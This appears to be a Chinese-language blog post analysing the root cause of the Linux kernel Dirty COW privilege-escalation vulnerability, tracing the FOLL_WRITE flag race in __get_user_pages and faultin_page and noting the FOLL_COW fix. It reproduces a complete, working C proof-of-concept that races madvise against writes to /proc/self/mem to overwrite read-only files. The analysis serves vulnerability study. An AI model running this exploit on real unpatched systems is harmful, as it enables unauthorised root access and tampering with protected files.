linux本地內核提權漏洞 Dirty COW 成因分析

        關於“Dirty COW" 的影響,這方面的文章網上寫的太多了,但是關於此漏洞真實成因的文章卻很缺乏,基於此,我寫了這篇文章,希望對想深入研究的人一些幫助。

髒牛漏洞核心成因:

        基於下面的POC來講,要篡改的特權文件在被只讀映射後,攻擊者第一次發起wite=>mem_write=>get_user_pages=>faultin_page調用後已經去掉了FOLL_WRITE標記了,因爲作者Torvalds假設後面都只會使用這個現成的頁,漏洞就在這個假設中誕生了。如果有一個線程不斷去調用madvise(DONTNEED),讓映射頁(特權文件)失效,這樣在下一次write調用中,就不會再生成新的COW頁了,而直接把原始文件映射過來了,爲什麼會這樣?原因很簡單,就是上面說的第一次faultin_page時已經把FOLL_WRITE標記去掉了。這就是爲什麼POC代碼裏需要兩個線程:一個不斷調用madvise(DONTNEED);另一個不斷write "/proc/{pid}/mem+file_map_offset" 。


網上的POC:

#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;

  for(i=0;i<100000000;i++)
  {
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;

  str=(char*)arg;

  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);

}

int main(int argc,char *argv[])
{
  if (argc<3) return 1;
  pthread_t pth1,pth2;
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);

  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);


  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;

}

線程1不斷去調用madvise(DONTNEED),讓映射頁(特權文件)失效


線程2 不斷去write一個被以只讀方式映射特權文件


問題1:寫/proc/{pid}/mem會觸發什麼樣的內存寫操作函數呢?



問題2,漏洞存在的關鍵函數有哪些?

long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,
struct vm_area_struct **vmas, int *nonblocking)
{
                。。。。。。
retry:
/*
* If we have a pending SIGKILL, don't keep faulting pages and
* potentially allocating memory.
*/
if (unlikely(fatal_signal_pending(current)))
return i ? i : -ERESTARTSYS;
cond_resched();
//調用follow_page_pte()
page = follow_page_mask(vma, start, foll_flags, &page_mask);
if (!page) {
int ret;
ret = faultin_page(tsk, vma, start, &foll_flags,
nonblocking);
switch (ret) {
case 0:
goto retry;
case -EFAULT:
case -ENOMEM:
case -EHWPOISON:
return i ? i : ret;
case -EBUSY:
return i;
case -ENOENT:
goto next_page;
}
BUG();
}
。。。。。。
return i;
}


static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
unsigned long address, unsigned int *flags, int *nonblocking)
{
        。。。。此處省去一萬字。。。。
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;      //讓漏洞利用成爲了可能
return 0;

}


問題三,官方修復方案是什麼?

官方修復方案是在faultin_page引入了一種新標記FOLL_COW,並在follow_page_pte檢測

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章